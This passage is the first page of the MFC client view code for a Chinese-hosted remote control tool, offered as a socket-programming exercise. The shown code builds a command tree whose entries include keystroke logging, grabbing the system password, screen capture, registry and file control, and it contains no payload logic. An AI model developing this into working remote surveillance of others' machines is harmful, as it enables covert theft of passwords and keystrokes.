cmdview.cpp
来自「简单的远程控制工具,分为服务器与客户斋,让你了解socket编程的知识.」· C++ 代码 · 共 755 行 · 第 1/2 页
CPP
755 行
// CmdView.cpp : implementation file
//
#include "stdafx.h"
#include "Ctrl_Clnt9.h"
#include "MainFrm.h"
#include "CmdView.h"
#include "..\CtrlSrvr2\Def_cmd_ID.h"
#include "SendMsg.H"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
static int m_aCmdID[7][12] =
{
{CMD_KEY_START, CMD_KEY_END},
{CMD_SYS_INFO, CMD_SYS_PW, CMD_SYS_REBOOT, CMD_SYS_LOCK, CMD_SYS_MSGBOX},
{CMD_NET_SHARE_LIST, CMD_NET_SHARE_ADD, CMD_NET_SHARE_DEL},
{CMD_PROC_LIST, CMD_PROC_END, CMD_PROC_NEW},
{CMD_FILE_DIR, CMD_FILE_FIND, CMD_FILE_DEL, CMD_FILE_COPY, CMD_FILE_RENAME,
CMD_FILE_VIEW, CMD_FILE_MAKE_DIR, CMD_FILE_REMOVE_DIR, CMD_FILE_SET_ATTR,
CMD_FILE_RECEIVE, CMD_FILE_SEND, CMD_FILE_CANCEL},
{CMD_REG_CREATE_KEY, CMD_REG_GET_VALUE, CMD_REG_SET_VALUE,CMD_REG_DELETE_KEY,
CMD_REG_DELETE_VALUE, CMD_REG_RENAME_KEY, CMD_REG_RENAME_VALUE,
CMD_REG_ENUMERATE_KEYS, CMD_REG_ENUMERATE_VAL},
{CMD_GET_SCREEN, CMD_CONNECT_PASS, CMD_DISCONNECT, CMD_SERVER_CLOSE},
};
/////////////////////////////////////////////////////////////////////////////
// CCmdView
IMPLEMENT_DYNCREATE(CCmdView, CFormView)
CCmdView::CCmdView()
: CFormView(CCmdView::IDD)
{
//{{AFX_DATA_INIT(CCmdView)
m_strCboCmdLine = _T("");
m_strCboParam1 = _T("");
m_strCboParam2 = _T("");
//}}AFX_DATA_INIT
m_pDoc = NULL;
m_pInfoView = NULL;
m_strCmdItem[0][0] = _T("Key Log Start");
m_strCmdItem[0][1] = _T("Key Log End");
m_strCmdItem[1][0] = _T("Get System Info");
m_strCmdItem[1][1] = _T("Get System Password");
m_strCmdItem[1][2] = _T("Let System Reboot");
m_strCmdItem[1][3] = _T("Let System Lock");
m_strCmdItem[1][4] = _T("Message Box");
m_strCmdItem[2][0] = _T("Net Share List");
m_strCmdItem[2][1] = _T("Net Share Add");
m_strCmdItem[2][2] = _T("Net Share Del");
m_strCmdItem[3][0] = _T("Process List");
m_strCmdItem[3][1] = _T("Process End");
m_strCmdItem[3][2] = _T("Process Create");
m_strCmdItem[4][0] = _T("Directory List");
m_strCmdItem[4][1] = _T("Find File");
m_strCmdItem[4][2] = _T("File Delete");
m_strCmdItem[4][3] = _T("File Copy");
m_strCmdItem[4][4] = _T("File Rename");
m_strCmdItem[4][5] = _T("File View");
m_strCmdItem[4][6] = _T("Create Directory");
m_strCmdItem[4][7] = _T("Delete Directory");
m_strCmdItem[4][8] = _T("File Set Attribute");
m_strCmdItem[4][9] = _T("File Receive");
m_strCmdItem[4][10] = _T("File Send");
m_strCmdItem[4][11] = _T("File RS Cancel");
m_strCmdItem[5][0] = _T("Reg Create Key");
m_strCmdItem[5][1] = _T("Reg Get Value");
m_strCmdItem[5][2] = _T("Reg Set Value");
m_strCmdItem[5][3] = _T("Reg Delete Key");
m_strCmdItem[5][4] = _T("Reg Delete Value");
m_strCmdItem[5][5] = _T("Reg Rename Key");
m_strCmdItem[5][6] = _T("Reg Rename Value");
m_strCmdItem[5][7] = _T("Reg Enumerate Keys");
m_strCmdItem[5][8] = _T("Reg Enumerate Values");
m_strCmdItem[6][0] = _T("Get Screen");
m_strCmdItem[6][1] = _T("Connect Computer");
m_strCmdItem[6][2] = _T("Disconnect Computer");
m_strCmdItem[6][3] = _T("Terminate Server");
}
CCmdView::~CCmdView()
{
}
void CCmdView::DoDataExchange(CDataExchange* pDX)
{
CFormView::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CCmdView)
DDX_Control(pDX, IDC_COMBO_PARAM2, m_oCboParam2);
DDX_Control(pDX, IDC_COMBO_PARAM1, m_oCboParam1);
DDX_Control(pDX, IDC_COMBO_CMD_LINE, m_oCboCmdLine);
DDX_Control(pDX, IDC_STATIC_PARAM2, m_oStaParam2);
DDX_Control(pDX, IDC_STATIC_PARAM1, m_oStaParam1);
DDX_Control(pDX, IDC_STATIC_CMDLING, m_oStaCmdLine);
DDX_Control(pDX, IDC_TREE_CMD, m_oTreCmd);
DDX_CBString(pDX, IDC_COMBO_CMD_LINE, m_strCboCmdLine);
DDX_CBString(pDX, IDC_COMBO_PARAM1, m_strCboParam1);
DDX_CBString(pDX, IDC_COMBO_PARAM2, m_strCboParam2);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CCmdView, CFormView)
//{{AFX_MSG_MAP(CCmdView)
ON_BN_CLICKED(IDC_BUTTON_COMMAND, OnButtonCommand)
ON_BN_CLICKED(IDC_BUTTON_GETSCREEN, OnButtonGetscreen)
ON_NOTIFY(TVN_SELCHANGED, IDC_TREE_CMD, OnSelchangedTreeCmd)
ON_CBN_SELENDOK(IDC_COMBO_CMD_LINE, OnSelendokComboCmdLine)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CCmdView diagnostics
#ifdef _DEBUG
void CCmdView::AssertValid() const
{
CFormView::AssertValid();
}
void CCmdView::Dump(CDumpContext& dc) const
{
CFormView::Dump(dc);
}
#endif //_DEBUG
/////////////////////////////////////////////////////////////////////////////
// CCmdView message handlers
void CCmdView::OnInitialUpdate()
{
CFormView::OnInitialUpdate();
// TODO: Add your specialized code here and/or call the base class
// m_pDoc = (CCtrl_Clnt9Doc *) GetDocument ();
// m_pInfoView = (CInfoView*) ((CMainFrame *)(AfxGetApp ()->m_pMainWnd))->m_wndWorkspace.GetActiveView ();
Init_TreeCtrl ();
}
void CCmdView::Init_TreeCtrl()
{
CString strCmdHead[7];
TV_INSERTSTRUCT curTreeItem;
int i,j;
strCmdHead[0]= _T("Keyboard");
strCmdHead[1]= _T("System");
strCmdHead[2]= _T("Network");
strCmdHead[3]= _T("Process");
strCmdHead[4]= _T("File and Directory");
strCmdHead[5]= _T("Registry");
strCmdHead[6]= _T("Others");
m_ImageList.Create(IDB_BITMAP_CMDTREE, 16, 1, RGB(255, 255, 255));
m_oTreCmd.SetImageList(&m_ImageList, TVSIL_NORMAL);
// m_oTreeSubject.SetFont (&m_fChina,TRUE);
for (i = 0; i < 7; i++)
{
curTreeItem.hParent = TVI_ROOT;
// curTreeItem.hInsertAfter = TVI_SORT;
switch (i)
{
case 0:
curTreeItem.item.iImage = 0;
curTreeItem.item.iSelectedImage = 0;
break;
case 1:
curTreeItem.item.iImage = 3;
curTreeItem.item.iSelectedImage = 3;
break;
case 2:
curTreeItem.item.iImage = 7;
curTreeItem.item.iSelectedImage = 7;
break;
case 3:
curTreeItem.item.iImage = 10;
curTreeItem.item.iSelectedImage = 10;
break;
case 4:
curTreeItem.item.iImage = 11;
curTreeItem.item.iSelectedImage = 11;
break;
case 5:
curTreeItem.item.iImage = 14;
curTreeItem.item.iSelectedImage = 14;
break;
case 6:
curTreeItem.item.iImage = 15;
curTreeItem.item.iSelectedImage = 15;
break;
}
curTreeItem.item.pszText = (LPSTR)(LPCTSTR)strCmdHead[i];
curTreeItem.item.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_TEXT;
m_htvCmdHead[i] = m_oTreCmd.InsertItem(&curTreeItem);
}
for (i = 0; i < 7; i++)
{
switch (i)
{
case 0:
for (j = 0; j < 2; j++)
{
curTreeItem.hParent = m_htvCmdHead[i];
curTreeItem.hInsertAfter = TVI_LAST;
curTreeItem.item.pszText = (LPSTR)(LPCTSTR)m_strCmdItem[i][j];
if ( j == 0)
{
curTreeItem.item.iImage = 1;
curTreeItem.item.iSelectedImage = 1;
}
else
{
curTreeItem.item.iImage = 2;
curTreeItem.item.iSelectedImage = 2;
}
curTreeItem.item.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_TEXT;
m_oTreCmd.InsertItem(&curTreeItem);
}
break;
case 1:
for (j = 0; j < 5; j++)
{
curTreeItem.hParent = m_htvCmdHead[i];
curTreeItem.hInsertAfter = TVI_LAST;
curTreeItem.item.pszText = (LPSTR)(LPCTSTR)m_strCmdItem[i][j];
if ( j == 0 || j == 1)
{
curTreeItem.item.iImage = 4;
curTreeItem.item.iSelectedImage = 4;
}
else if ( j == 2 || j == 3)
{
curTreeItem.item.iImage = 6;
curTreeItem.item.iSelectedImage = 6;
}
else
{
curTreeItem.item.iImage = 5;
curTreeItem.item.iSelectedImage = 5;
}
curTreeItem.item.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_TEXT;
m_oTreCmd.InsertItem(&curTreeItem);
}
break;
case 2:
for (j = 0; j < 3; j++)
{
curTreeItem.hParent = m_htvCmdHead[i];
curTreeItem.hInsertAfter = TVI_LAST;
curTreeItem.item.pszText = (LPSTR)(LPCTSTR)m_strCmdItem[i][j];
if ( j == 0)
{
curTreeItem.item.iImage = 8;
curTreeItem.item.iSelectedImage = 8;
}
else
{
curTreeItem.item.iImage = 9;
curTreeItem.item.iSelectedImage = 9;
}
curTreeItem.item.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_TEXT;
m_oTreCmd.InsertItem(&curTreeItem);
}
break;
case 3:
for (j = 0; j < 3; j++)
{
curTreeItem.hParent = m_htvCmdHead[i];
curTreeItem.hInsertAfter = TVI_LAST;
curTreeItem.item.pszText = (LPSTR)(LPCTSTR)m_strCmdItem[i][j];
curTreeItem.item.iImage = 10;
curTreeItem.item.iSelectedImage = 10;
curTreeItem.item.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_TEXT;
m_oTreCmd.InsertItem(&curTreeItem);
}
break;
case 4:
for (j = 0; j < 12; j++)
{
curTreeItem.hParent = m_htvCmdHead[i];
curTreeItem.hInsertAfter = TVI_LAST;
curTreeItem.item.pszText = (LPSTR)(LPCTSTR)m_strCmdItem[i][j];
if ( j == 9 || j == 10)
{
curTreeItem.item.iImage = 13;
curTreeItem.item.iSelectedImage = 13;
}
else
{
curTreeItem.item.iImage = 12;
curTreeItem.item.iSelectedImage = 12;
}
curTreeItem.item.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_TEXT;
m_oTreCmd.InsertItem(&curTreeItem);
}
break;
case 5:
for (j = 0; j < 9; j++)
{
curTreeItem.hParent = m_htvCmdHead[i];
curTreeItem.hInsertAfter = TVI_LAST;
curTreeItem.item.pszText = (LPSTR)(LPCTSTR)m_strCmdItem[i][j];
curTreeItem.item.iImage = 14;
curTreeItem.item.iSelectedImage = 14;
curTreeItem.item.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_TEXT;
m_oTreCmd.InsertItem(&curTreeItem);
}
break;
case 6:
for (j = 0; j < 4; j++)
{
curTreeItem.hParent = m_htvCmdHead[i];
curTreeItem.hInsertAfter = TVI_LAST;
curTreeItem.item.pszText = (LPSTR)(LPCTSTR)m_strCmdItem[i][j];
curTreeItem.item.iImage = 15;
curTreeItem.item.iSelectedImage = 15;
curTreeItem.item.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_TEXT;
m_oTreCmd.InsertItem(&curTreeItem);
}
break;
default:
break;
}
}
}
void CCmdView::OnButtonCommand()
{
// TODO: Add your control notification handler code here
HTREEITEM hTreeItem;
BOOL bFind = FALSE;
int i,j;
CString strItem;
if (m_pDoc == NULL)
{
CDocTemplate* pDocTp;
POSITION pos = AfxGetApp()->GetFirstDocTemplatePosition ();
pDocTp = AfxGetApp()->GetNextDocTemplate (pos);
POSITION posDoc = ((CMultiDocTemplate*)pDocTp)->GetFirstDocPosition ();
m_pDoc = (CCtrl_Clnt9Doc *)pDocTp->GetNextDoc (posDoc);
}
if (!m_pDoc->m_bConnecting)
{
AfxMessageBox ("It did not connect the server now!");
return;
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?